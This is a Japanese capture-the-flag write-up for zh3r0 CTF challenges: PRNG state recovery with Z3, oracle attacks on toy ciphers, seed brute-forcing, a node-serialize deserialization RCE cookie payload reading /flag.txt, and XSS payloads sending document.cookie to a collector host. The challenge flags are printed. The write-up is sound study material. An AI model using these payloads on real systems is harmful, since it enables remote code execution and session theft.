	2278834357980551260265893505361407822452682233302364523894857044741892783229529282237100284183509698213837939146481400378598979682679
		2134868244312941386703277767042670355929943244119099314950552922690
			1537065234166657769219388838655937
				55444840826037027
					332987772
						25755
							122
							104
						51
					13251
						114
						48
				848669877
					29522
						123
						119
					11676
						104
						48
			529268835780862302741627946795014
				32535175364785590
					255075095
						22482
							95
							116
						104
					13812
						48
						117
				546245298
					21632
						103
						104
					11420
						55
						95
		1474419586450856126403100549320874907584932688256725964981793
			1717218440647362925299672185642
				1853223210706360
					60869167
						10927
							98
							49
						106
					11424
						51
						99
				165277961
					5509
						55
						49
					12671
						48
						110
			684696523628109948
				601080006
					11121
						53
						95
					23550
						102
						114
				569130678
					12512
						48
						109
					21225
						95
						110
	529377795079622267532991398642193204133249743982708830397008281794348705646419161299403271050129547692658261326245143632688654825
		32538524705712852729154545286627993152555443207602046242682691405
			244077127246765824979234452716472
				22094212335300813
					210196851
						20408
							94
							107
						95
					13578
						116
						48
				809627694
					21225
						95
						110
					19014
						95
						99
			11024910007791798160226223316554
				4695723027042806
					96890268
						13812
							48
							117
						108
					19205
						100
						95
				561030026
					11226
						98
						51
					22270
						95
						115
		2073831665380255847491873777679475190685506007741655740
			2036581285021494171117338190
				63821051900844
					11293176
						4704
							48
							48
						48
					4704
						48
						48
				281288325
					19014
						95
						99
					4704
						48
						48
			64007073674969987
				44264640
					4704
						48
						48
					4704
						48
						48
				313526006
					12354
						48
						108
					12686
						33
						125
```

</div></details>

ここから末端の値を拾って文字列にすることで、flagが得られた。

<details><summary>値を拾うプログラム</summary><div>

```get.pl
#!/usr/bin/perl

use strict;
use warnings;

while (my $line = <STDIN>) {
	if ($line =~ /(\d+)/) {
		my $c = int($1);
		if ($c < 256) {
			print chr($c);
		}
	}
}
print "\n";
```

</div></details>

```
zh3r0{wh0_th0ugh7_b1j3c710n5_fr0m_n^k_t0_n_c0uld_b3_s00000_c0000000l!}
```

### Twist and Shout

TCPサーバの接続情報と、そこで動いているPythonのプログラムが与えられた。
プログラムは、以下をするものであった。

1. flagを含むデータを用い、624要素のタプル`state`を作る
2. `random.setstate((3,state+(624,),None))`を行う
3. `random.getrandbits(32)`の返り値を624個出力する

[cpython/random.py at main · python/cpython · GitHub](https://github.com/python/cpython/blob/main/Lib/random.py)
[cpython/_randommodule.c at main · python/cpython · GitHub](https://github.com/python/cpython/blob/main/Modules/_randommodule.c)
あたりを参考にすると、
`random.setstate`は与えられた値を[メルセンヌ・ツイスタ](http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/mt19937ar.html)の内部状態にそのまま書き込んでいるようである。
また、`random.getrandbits(32)`は、`genrand_uint32`の返り値がそのまま返るようであった。
実際に、`random.getstate()`で得られた値を用いてメルセンヌ・ツイスタの内部状態を初期化することで、
メルセンヌ・ツイスタから`random.getrandbits(32)`と同じ値が得られることを確認できた。

そこで、メルセンヌ・ツイスタをPythonに移植し、[Z3](https://github.com/Z3Prover/z3)で乱数列から最初の内部状態を求めさせた。

<details><summary>乱数列から最初の内部状態を求めるプログラム</summary><div>

```solve.py
import z3
import sys

def getBV(name):
	return z3.BitVec(name, 32)

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

mt_vars = [getBV("mt" + str(i)) for i in range(N)]
mt = [v for v in mt_vars]
mti = N

def genrand_int32():
	global mti
	if mti >= N:
		for kk in range(N - M):
			y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
			mt[kk] = mt[kk + M] ^ z3.LShR(y, 1) ^ (MATRIX_A * (y & 0x1))
		for kk in range(N - M, N - 1):
			y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
			mt[kk] = mt[kk + (M-N)] ^ z3.LShR(y, 1) ^ (MATRIX_A * (y & 0x1))
		y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
		mt[N - 1] = mt[M - 1] ^ z3.LShR(y, 1) ^ (MATRIX_A * (y & 0x1))
		mti = 0
	y = mt[mti]
	mti = mti + 1
	y = y ^ z3.LShR(y, 11)
	y = y ^ ((y << 7) & 0x9d2c5680)
	y = y ^ ((y << 15) & 0xefc60000)
	y = y ^ z3.LShR(y, 18)
	return y

s = z3.Solver()

for l in sys.stdin.readlines():
	data = l.rstrip()
	if len(data) > 0:
		value = int(data)
		s.add(genrand_int32() == value)

res = s.check()

if res == z3.sat:
	m = s.model()
	for v in mt_vars:
		print(hex(m[v].as_long()))
else:
	print(res)
```

</div></details>

<details><summary>移植元コードについて</summary><div>

[mt19937ar: Mersenne Twister with improved initialization](http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/mt19937ar.html)
の`mt19937ar.c`から移植を行った。

移植元のライセンス表記：

```
   Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura,
   All rights reserved.                          

   Redistribution and use in source and binary forms, with or without
   modification, are permitted provided that the following conditions
   are met:

     1. Redistributions of source code must retain the above copyright
        notice, this list of conditions and the following disclaimer.

     2. Redistributions in binary form must reproduce the above copyright
        notice, this list of conditions and the following disclaimer in the
        documentation and/or other materials provided with the distribution.

     3. The names of its contributors may not be used to endorse or promote 
        products derived from this software without specific prior written 
        permission.

   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
   "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
   A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
   CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
   EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
   PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
   PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
   LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
```

</div></details>

その結果、条件を満たす内部状態を数分で求めることができた。
得られたデータを繋げて[CyberChef](https://gchq.github.io/CyberChef/)のFrom Hexを用いることで、flagが得られた。

```
zh3r0{7h3_fu7ur3_m1gh7_b3_c4p71v471ng_bu7_n0w_y0u_kn0w_h0w_t0_l00k_a7_7h3_p457}
```

### b00tleg

TCPサーバの接続情報が与えられた。

このサーバでは以下のような問題を8種類解くことを要求された。

* 暗号化されたflagが与えられる
* 平文を16進数で指定し、その暗号文を求めることができる
* これを用いて暗号化の方法を求め、flagの復号結果を送ることが求められる

#### 1番目の問題

平文の各バイトに1を足した結果の16進表現が暗号文となる。
各バイトから1を引くことで復号できる。
この操作は、[CyberChef](https://gchq.github.io/CyberChef/)のSUBを用いて行うことができる。

```
68656c6c6f20776f726c6421204c6574732067657420676f696e67
hello world! Lets get going
```

#### 2番目の問題

平文を10進数にしたものが「暗号文」となる。
Pythonの`hex`関数を用いることで、「復号」できる。

```
4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74
Nothing fancy, just standard bytes_to_int
```

#### 3番目の問題

平文の各バイトと暗号文の各バイトが1対1に対応した換字式暗号である。

平文 `000102 ... fdfeff` に対応する暗号文を求めると、それに基づいて復号できる。

<details><summary>復号プログラム</summary><div>

```solve-3.pl
#!/usr/bin/perl

use strict;
use warnings;

#my $plain = "000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff";
my $enc = "9070c3f8a494d7260f3985a7db2706f59938cee49e7ffe81213e09e2645569d05ae3ef626b727bad7510b4719a68449397562243cf2050fcf6aff4861e19abe0165992a65d0e2f3de654e566086a4f04b2d2dfcd2a9d33826f24f701e1463f1c17114035a0579c5c0c033a0029da7a254b42781aeb0b6567f9bec2b9a1edaa2ec473537d02fba328c56cb5fad1e81f0d7e8f488d5f2ca9bb8063f0b784053c3b9fd44a95d8c8bfeab14d4cee1ba54e341536a2acc1988b47b39b52fd12d58a8960bd312df11dffd97ccacb41ec0a2bd36eb030c0c9dd76e9ae58a83761b883236df3b6bc87ba74184532e7ccde5e5b4951c777d691dc1479078c968e8813f2c6";

my $target = "da257a255a1a0b401aeb03eb0beb03257a1a5a1178577aeb5aeb0c11eb5a35785711eb036557";

my $len = length($target);
for (my $i = 0; $i < $len; $i += 2) {
	for (my $j = 0; $j < 256; $j++) {
		if (substr($enc, $j * 2, 2) eq substr($target, $i, 2)) {
			printf("%02x", $j);
			last;
		}
	}
}

print "\n";
```

</div></details>

```
6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665
mono substitutions arent that creative
```

#### 4番目の問題

換字式暗号だが、入力の位置ごとに変換テーブルが異なるようだった。
プログラムを用いて`0000 ... 0000`、`0101 ... 0101`、…を暗号化することで変換テーブルを求め、復号を行った。

<details><summary>復号プログラム</summary><div>

```solve-4.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"crypto.zh3r0.cf", PeerPort=>1111, Proto=>"tcp");

die "socket error: $!" unless $sock;
binmode($sock);

print $sock "2\n";
print $sock "68656c6c6f20776f726c6421204c6574732067657420676f696e67\n";
print $sock "2\n";
print $sock "4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74\n";
print $sock "2\n";
print $sock "6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665\n";

my $key = "Level: 3, encrypted flag: ";

my $target;

for(;;) {
	my $s = <$sock>;
	if (substr($s, 0, length($key)) eq $key) {
		$target = substr($s, length($key));
		chomp($target);
		last;
	}
}

my $tlen = length($target);

my @tables = ();

print "t  : $target\n";

my $header = ">>> message in hex:";

print STDERR (("-" x 64) . "\n");

for (my $i = 0; $i < 256; $i++) {
	print $sock "1\n";
	until (index(<$sock>, "flag") >= 0) {}
	print $sock ((sprintf("%02x", $i) x ($tlen >> 1)) . "\n");
	my $data = <$sock>;
	if (substr($data, 0, length($header)) ne $header) {
		print "invalid data at i = $i\n";
		print $data;
		close($sock);
		exit 1;
	}
	push(@tables, substr($data, length($header)));
	printf("%02x : %s\n", $i, substr($data, length($header), $tlen));
	if (($i + 1) % 4 == 0) {
		print STDERR "#";
	}
}
print STDERR "\n";

close($sock);

print "\nr   : ";

for (my $i = 0; $i < $tlen; $i += 2) {
	my $ct = substr($target, $i, 2);
	my $found = 0;
	for (my $j = 0; $j < 256; $j++) {
		if (substr($tables[$j], $i, 2) eq $ct) {
			printf("%02x", $j);
			$found = 1;
			last;
		}
	}
	unless ($found) { print "??"; }
}
print "\n";
```

</div></details>

```
6372656174696e6720646966666572656e7420737562737469747574696f6e7320666f7220656163682063686172
creating different substitutions for each char
```

#### 5番目の問題

平文の各バイトを適当に2バイトで現したものが暗号文となる。
暗号文の2バイトを足し、下位8ビットを取り出すことで、平文の各バイトを求めることができた。

<details><summary>復号プログラム</summary><div>

```solve-5.pl
#!/usr/bin/perl

use strict;
use warnings;

my $target = "03440765e879204498880470b6b297ca8ee6f92709703c33ef8655cbda8c1e4b135498ddb2c0362ffe661e026f0096dfe1932000096b3d2bd88d40e03e2b6509304676eb7cf6eb7e78e9b2bca5cf";

my $len = length($target);

for (my $i = 0; $i < $len; $i += 4) {
	my $c1 = substr($target, $i, 2);
	my $c2 = substr($target, $i + 2, 2);
	printf("%02x", (hex($c1) + hex($c2)) & 0xff);
}

print "\n";
```

</div></details>

```
476c6164207468617420796f752066696775726564206f75742074686520696e76617269616e74
Glad that you figured out the invariant
```

#### 6番目の問題

平文が5バイトのブロック単位で処理され、最後の足りないバイトには適当な値が入る。
暗号文のブロック数は、平文のブロック数より1多い。

観察の結果、以下の性質を満たすことがわかった。

* 暗号文の最初のブロックと最後のブロックをxorすると、平文の最初のブロックが出る
* k番目の暗号文のブロック xor (K+1)番目の暗号文のブロック xor k番目の平文のブロック で、(k+1)番目の平文のブロックが出る

この計算を手動で行うことで、復号できた。

```
4865726520776520617070656e6420746865206b6579207769746820796f757220736869742c20706c6561736520646f6e742074656c6c20616e796f6e65
Here we append the key with your shit, please dont tell anyone
```

#### 7番目の問題

平文の値を3乗してある数で割った余りを10進数で表したものが暗号文になるようだった。

二分探索により、単に3乗しても余りをとっても同じ数になる(すなわち、3乗が「ある数」未満)最大の平文が求まり、
これを用いて「ある数」を求めることができた。

<details><summary>暗号文と「ある数」を取得するプログラム</summary><div>

```solve-7-get-n.py
import socket
import re

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("crypto.zh3r0.cf", 1111))

flags = [
	"68656c6c6f20776f726c6421204c6574732067657420676f696e67",
	"4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74",
	"6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665",
	"6372656174696e6720646966666572656e7420737562737469747574696f6e7320666f7220656163682063686172",
	"476c6164207468617420796f752066696775726564206f75742074686520696e76617269616e74",
	"4865726520776520617070656e6420746865206b6579207769746820796f757220736869742c20706c6561736520646f6e742074656c6c20616e796f6e65"
]

for f in flags:
	s.send("2\n".encode())
	s.send((f+"\n").encode())

pat = re.compile("Level: 6, encrypted flag: (\\d+)\n")
pat2 = re.compile("message in hex:(\\d+)\n")

msg = ""
while True:
	msg += s.recv(4096).decode()
	res = pat.search(msg)
	if res:
		cypher_text = res.group(1)
		break

def get(value):
	s.send("1\n".encode())
	query = "%x" % value
	if len(query) % 2 != 0:
		query = "0" + query
	s.send((query+"\n").encode())
	msg = ""
	while True:
		msg += s.recv(4096).decode()
		res = pat2.search(msg)
		if res:
			return int(res.group(1))

def check(value):
	res = get(value)
	return res == value ** 3

print("cypher_text = " + cypher_text)

ok = 0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000
ng = 0x30000000000000000000000000000000000000000000000000000000000000000000000000000000000000

while not check(ok):
	ok //= 2

while check(ng):
	ng *= 2

while ok + 1 < ng:
	m = ok + (ng - ok) // 2
	print(m)
	if check(m):
		ok = m
	else:
		ng = m

ok_res = get(ok)
ng_res = get(ok + 1)
ng_expected = (ok + 1) ** 3
n = ng_expected - ng_res

print("ok = " + str(ok))
print("ok_res = " + str(ok_res))
print("ng_res = " + str(ng_res))
print("ng_expected = " + str(ng_expected))
print("n = " + str(n))
```

</div></details>

[巨大数向け素数判定機 - instant tools](https://tools.m-bsys.com/calculators/primality_test_for_large_number.php)でチェックすると、「ある数」は素数のようだった。

ということは、「平文を定数乗して素数で割った余り」が与えられているため、
これは [TSG LIVE! 6 CTF](https://github.com/tsg-ut/tsg-live-ctf-6) の [Single RSA](https://github.com/tsg-ut/tsg-live-ctf-6/tree/main/crypto/single_rsa) に帰着できる。

すなわち、平文を`e`乗して`n`で割った余り`c`が与えられている時、
Pythonで値`d = pow(e, -1, n - 1)`を求め、`c`を`d`乗して`n`で割った値を求めることで、復号できる。

```
43756265206d6f64756c6f207072696d652c20616e7920677565737365732077686174206d6967687420626520636f6d696e67206e6578743f
Cube modulo prime, any guesses what might be coming next?
```

#### 8番目の問題

平文を(10進数で2～3桁程度の数)乗してある数で割った余りを10進数で表したものが暗号文になるようだった。

7番目の問題と同様に、二分探索などで「ある数」を求めることができる。
また、平文`02`に対応する暗号文より、何乗するかを求めることができる。

<details><summary>暗号文、何乗するか、「ある数」を取得するプログラム</summary><div>

```solve-8-get-n.py
import socket
import re

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("crypto.zh3r0.cf", 1111))

flags = [
	"68656c6c6f20776f726c6421204c6574732067657420676f696e67",
	"4e6f7468696e672066616e63792c206a757374207374616e646172642062797465735f746f5f696e74",
	"6d6f6e6f20737562737469747574696f6e73206172656e742074686174206372656174697665",
	"6372656174696e6720646966666572656e7420737562737469747574696f6e7320666f7220656163682063686172",
	"476c6164207468617420796f752066696775726564206f75742074686520696e76617269616e74",
	"4865726520776520617070656e6420746865206b6579207769746820796f757220736869742c20706c6561736520646f6e742074656c6c20616e796f6e65",
	"43756265206d6f64756c6f207072696d652c20616e7920677565737365732077686174206d6967687420626520636f6d696e67206e6578743f"
]

for f in flags:
	s.send("2\n".encode())
	s.send((f+"\n").encode())

pat = re.compile("Level: 7, encrypted flag: (\\d+)\n")
pat2 = re.compile("message in hex:(\\d+)\n")

msg = ""
while True:
	msg += s.recv(4096).decode()
	res = pat.search(msg)
	if res:
		cypher_text = res.group(1)
		break

def get(value):
	s.send("1\n".encode())
	query = "%x" % value
	if len(query) % 2 != 0:
		query = "0" + query
	s.send((query+"\n").encode())
	msg = ""
	while True:
		msg += s.recv(4096).decode()
		res = pat2.search(msg)
		if res:
			return int(res.group(1))

two_res = get(2)
pnum = 1
while 2 ** pnum < two_res:
	pnum += 1
if 2 ** pnum != two_res:
	raise Exception("two_res = " + str(two_res) + " invalid!")

def check(value):
	res = get(value)
	return res == value ** pnum

print("cypher_text = " + cypher_text)
print("e = " + str(pnum))

ok = 0;
ng = 0x01020304

while not check(ok):
	ok //= 2

while check(ng):
	ng *= 2

while ok + 1 < ng:
	m = ok + (ng - ok) // 2
	print(m)
	if check(m):
		ok = m
	else:
		ng = m

ok_res = get(ok)
ng_res = get(ok + 1)
ng_expected = (ok + 1) ** pnum
n = ng_expected - ng_res

print("ok = " + str(ok))
print("ok_res = " + str(ok_res))
print("ng_res = " + str(ng_res))
print("ng_expected = " + str(ng_expected))
print("n = " + str(n))
```

</div></details>

今回も「ある数」は素数だったので、7番目の問題と同様に平文を求めることができた。

```
7a683372307b31375f61316e375f6d7563685f6275375f315f346d5f73306d333768316e675f30665f345f6372797037346e346c7935375f6d7935336c667d
zh3r0{17_a1n7_much_bu7_1_4m_s0m37h1ng_0f_4_cryp74n4ly57_my53lf}
```

#### flag

```
zh3r0{17_a1n7_much_bu7_1_4m_s0m37h1ng_0f_4_cryp74n4ly57_my53lf}
```

### import numpy as MT

TCPサーバの接続情報と、そこで動いているプログラムが与えられた。
このプログラムは、以下を行うものであった。

1. `numpy.random`をimportし、`random`とする
2. `random.seed(適当な32ビットの値)`を実行する
3. `random.bytes(16)`を2回実行し、返り値をそれぞれ`iv`と`key`とする
4. ivを`iv`、鍵を`key`とするCBCモードのAESで、flagを暗号化する
5. 暗号文の前に`iv`を連結したものを求める
6. 5で求めたデータを新しいflagとし、2～5をもう一回行う
7. 求めたデータを16進数で出力する

プログラムには、コメントに

> i dont want people bruteforcing it

とあった。
そこで、これは「押すなよ！絶対押すなよ！」みたいなやつだと解釈し、シード値の全探索をすることにした。
`iv`がそのまま出力されるので、`random.bytes(16)`の返り値がその値になるシード値を探せばよい。

<details><summary>全探索をするプログラム</summary><div>

```bruteforce3.py
from numpy import random
import sys

_, target, start, end = sys.argv

file = open("bruteforce3-%s-%s-%s.txt" % (target, start, end), "w", buffering=1)

for c in range(int(start), int(end)):
	random.seed(c)
	iv = random.bytes(16)
	if iv.hex() == target:
		file.write("found! " + str(c) + "\n")
		break
	if c % 0x10000 == 0:
		print("searching " + str(c))
		file.write("searching " + str(c) + "\n")

file.close()
```

```bruteforce3-launch.bat
start python bruteforce3.py %1 0 268435456
start python bruteforce3.py %1 268435456 536870912
start python bruteforce3.py %1 536870912 805306368
start python bruteforce3.py %1 805306368 10737418204
start python bruteforce3.py %1 1073741824 1342177280
start python bruteforce3.py %1 1342177280 1610612736
start python bruteforce3.py %1 1610612736 1879048192
start python bruteforce3.py %1 1879048192 2147483648
start python bruteforce3.py %1 2147483648 2415919104
start python bruteforce3.py %1 2415919104 2684354560
start python bruteforce3.py %1 2684354560 2952790016
start python bruteforce3.py %1 2952790016 3221225472
start python bruteforce3.py %1 3221225472 3489660928
start python bruteforce3.py %1 3489660928 3758096384
start python bruteforce3.py %1 3758096384 4026531840
start python bruteforce3.py %1 4026531840 4294967296
```

</div></details>

手元のマシン (Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz 2.59 GHz) で実行したところ、
1回につき3時間前後で条件を満たすシード値が得られた。

[CyberChef](https://gchq.github.io/CyberChef/)にはAES Decryptの機能があるが、CBCモードでこれを使おうとすると、
PKCS#7 paddingの使用が強制され、1回目の復号では最後のブロックが欠けてしまった。
そこで、[CS50 IDE](https://ide.cs50.io/)上で`virtualenv`を用い、`numpy`と`pycrypto`をインストールして復号を行った。
[PythonでAES暗号化/復号 - Qiita](https://qiita.com/tomipetit/items/3e478d1559e13d832486)
を参考に、以下のようにすると復号が可能である。

```py
import numpy as np
from Crypto.Cipher import AES
np.random.seed(求めたシード値)
iv,key = np.random.bytes(16), np.random.bytes(16)
data = bytes.fromhex("復号する16進データから最初の32文字(iv)を除いたもの")
cipher = AES.new(key, AES.MODE_CBC, iv)
dc = cipher.decrypt(data)
dc.hex()
```

2回目はCyberChefで復号できた。

```
zh3r0{wh0_th0ugh7_7h3_m3r53nn3_7w1573r_w45_5o_pr3d1c74bl3?c3rt41nly_n0t_m47454n0}
```

### Real Mersenne

TCPサーバの接続情報と、そこで動いているPythonのプログラムが与えられた。
このプログラムは、以下を2000回行うものであった。

1. `random.random()`を用い、0～1の浮動小数点数の乱数を得る。これを`x`とする
2. 浮動小数点数を入力させる。これを`y`とする
3. `Fraction(2**53,int(2**53*x)-int(2**53*y))`を求め、出力する  
   ただし、`x`と`y`の差の絶対値が`1/2**10`以下の時は、かわりに`Fraction(2**10)`を用いる
4. 3で求めた値の合計が`10**6`を超えたら、flagを出力して終了する

0を入力すると、たいていの場合`random.random()`の返り値をそのまま知ることができる。
ただし、1024が出力された場合は、返り値はわからない。

[cpython/_randommodule.c at main · python/cpython · GitHub](https://github.com/python/cpython/blob/main/Modules/_randommodule.c)
を参考にすると、どのようにしてメルセンヌ・ツイスタの返す整数値から
`random.random()`の返り値を構築しているかがわかる。

これらに基づくと、問題 Twist and Shout と同様に、
[Z3](https://github.com/Z3Prover/z3)および[メルセンヌ・ツイスタ](http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/mt19937ar.html)の移植を用いて最初の内部状態を求めることができそうな気がする。
さらに、もし最初の内部状態が求まれば、将来の乱数列を求めることができ、
それを用いて1024を加算させ続けることができるようになる。

実際に、最初の1000個の値を用いて最初の内部状態を求めさせたところ、数分で求まり、
1024を加算させ続けてflagを得ることができた。

<details><summary>これらの処理を行うプログラム</summary><div>

```solve.py
import socket
import re
import z3
import sys
import time

def getBV(name):
	return z3.BitVec(name, 32)

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

mt_vars = [getBV("mt" + str(i)) for i in range(N)]
mt = [v for v in mt_vars]
mti = N

rshift = z3.LShR

def genrand_int32():
	global mti
	if mti >= N:
		for kk in range(N - M):
			y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
			mt[kk] = mt[kk + M] ^ rshift(y, 1) ^ (MATRIX_A * (y & 0x1))
		for kk in range(N - M, N - 1):
			y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
			mt[kk] = mt[kk + (M-N)] ^ rshift(y, 1) ^ (MATRIX_A * (y & 0x1))
		y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
		mt[N - 1] = mt[M - 1] ^ rshift(y, 1) ^ (MATRIX_A * (y & 0x1))
		mti = 0
	y = mt[mti]
	mti = mti + 1
	y = y ^ rshift(y, 11)
	y = y ^ ((y << 7) & 0x9d2c5680)
	y = y ^ ((y << 15) & 0xefc60000)
	y = y ^ rshift(y, 18)
	return y

s = z3.Solver()


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("crypto.zh3r0.cf", 4444))

pat = re.compile("round score: (\\d+)/(\\d+)\n")
pat2 = re.compile("round score: (\\d+)\n")

query_total = 2000
query_num = 1000

for i in range(query_num):
	sock.send("0\n".encode())
	msg = ""
	while True:
		msg += sock.recv(4096).decode()
		res = pat.search(msg)
		if res:
			bunsi = int(res.group(1))
			bunbo = int(res.group(2))
			value = bunbo * ((1 << 53) // bunsi)
			break
		res = pat2.search(msg)
		if res:
			bunsi = int(res.group(1))
			value = ((1 << 53) // bunsi)
			break
	a = rshift(genrand_int32(), 5)
	b = rshift(genrand_int32(), 6)
	if value != ((1 << 53) // 1024):
		# s.add(a * 67108864 + b == value)
		s.add(a == (value >> (32 - 6)))
		s.add(b == (value & ((1 << (32 - 6)) - 1)))
	if i % 50 == 0:
		sys.stderr.write(str(i) + "\n")

sys.stderr.write("solving...\n")
start_time = time.time()
res = s.check()
end_time = time.time()
sys.stderr.write("done in " + str(end_time - start_time) + " sec.\n")

if res == z3.sat:
	m = s.model()
	mt = [m[v].as_long() for v in mt_vars]
	print(mt)
	mti = N
	rshift = lambda a, b : a >> b
	for _ in range(query_num):
		genrand_int32()
		genrand_int32()
	for i in range(query_num, query_total):
		a = genrand_int32() >> 5
		b = genrand_int32() >> 6
		value = (a * 67108864 + b) / float(1 << 53)
		sock.send((str(value) + "\n").encode())
		msg = ""
		while True:
			msg += sock.recv(4096).decode()
			if "guess" in msg:
				break
			if "zh3r0" in msg:
				print(msg)
				sock.close()
				sys.exit(0)
		if i % 50 == 0:
			sys.stderr.write(str(i) + "\n")
else:
	print(res)

sock.close()
```

</div></details>

```
zh3r0{r34l_m3n_d34l_w17h_m3r53nn3_w17h_r34l_v4lu3s}
```

## Web

### sparta

リンク(httpで始まるURL)と、サーバーのプログラム一式が与えられた。
与えられたリンクは、FirefoxおよびGoogle Chromeでは(素直には)アクセスできないようだった。
Firefoxでは

> 通常、ウェブサイトの表示以外の目的で使用されるネットワークポートがこのアドレスでは使用されています。ユーザーを保護するためにリクエストをキャンセルしました。

と表示され、Google Chromeでは`ERR_UNSAFE_PORT`が出た。

プログラムを読むと、cookieのデータをbase64デコードして`serialize.unserialize`に渡している部分があった。
この`serialize`は、

```js
var serialize = require('node-serialize');
```

という定義である。
「node-serialize writeup」でググってみたところ、数件のページを経由してこれにたどり着いた。
[Exploiting Node.js deserialization bug for Remote Code Execution(CVE-2017-5941)](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
この資料によると、関数のシリアライズ結果に`()`を加えることで、コードを実行させることができるようである。

また、配布された`Dockerfile`より、ファイル`/flag.txt`が存在しそうである。
ファイルの読み方は、ここが参考になった。
[[node.js] テキストファイルを読みこみ - Qiita](https://qiita.com/amanatsu5151/items/0d2e7ba8d31f3eece660)

シリアライズは、ここの「Try on RunKit」で試すことができる。
[node-serialize - npm](https://www.npmjs.com/package/node-serialize)

結論として、

```
{"username":"_$$ND_FUNC$$_function username() {return require('fs').readFileSync('/flag.txt', 'utf8')}()"}
```

を[CyberChef](https://gchq.github.io/CyberChef/)でbase64エンコードし、Cookieに乗せることで、flagを得ることができた。
すなわち、以下のHTTPリクエストを[Tera Term](https://ttssh2.osdn.jp/)で送信することで、flagを得ることができた。

```
POST /guest HTTP/1.1
Host: web.zh3r0.cf:6666
Connection: close
Content-Length: 0
Cookie: guest=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiB1c2VybmFtZSgpIHtyZXR1cm4gcmVxdWlyZSgnZnMnKS5yZWFkRmlsZVN5bmMoJy9mbGFnLnR4dCcsICd1dGY4Jyl9KCkifQ%3D%3D

```

```
zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}
```

### bxxs

WebページのURLが与えられた。
このページからリンクされていた「Send a feedback to admin」ページでは、
テキストを送信することができるようだった。

以下のデータにおいて、実際は`example.com`のかわりに[RequestBin](https://requestbin.com/)のエンドポイントのドメインを用いた。

```
<img src="x" id="deadbeef"><img src="x" onerror="document.getElementById('deadbeef').src='https://example.com/?deadbeef='+encodeURIComponent(document.cookie)">
```

を送信すると、リクエストは送られてきたがデータは空だった。

```
<img src="x" id="deadbeef"><img src="x" onerror="h=document.getElementsByTagName('html')[0].innerHTML;document.getElementById('deadbeef').src='https://example.com/?deadbeef='+encodeURIComponent(h)">
```

を送信した結果より、`body`タグの中に送信したテキストがそのまま入るようだった。

```
<img src="x" id="deadbeef"><img src="x" onerror="document.getElementById('deadbeef').src='https://example.com/?deadbeef='+encodeURIComponent(location.href)">
```

を送信した結果より、このHTMLのURLは`http://0.0.0.0:8080/Secret_admin_cookie_panel`のようだった。
試しにこのURLの`0.0.0.0:8080`を問題ページのURLのドメインとポートに置き換えてアクセスしてみると、
自分が送信したデータが表示された。
さらに数回リロードしていると、flagが`http://web.zh3r0.cf:3333/flag`への`iframe`として表示された。

```
zh3r0{{Ea5y_bx55_ri8}}
```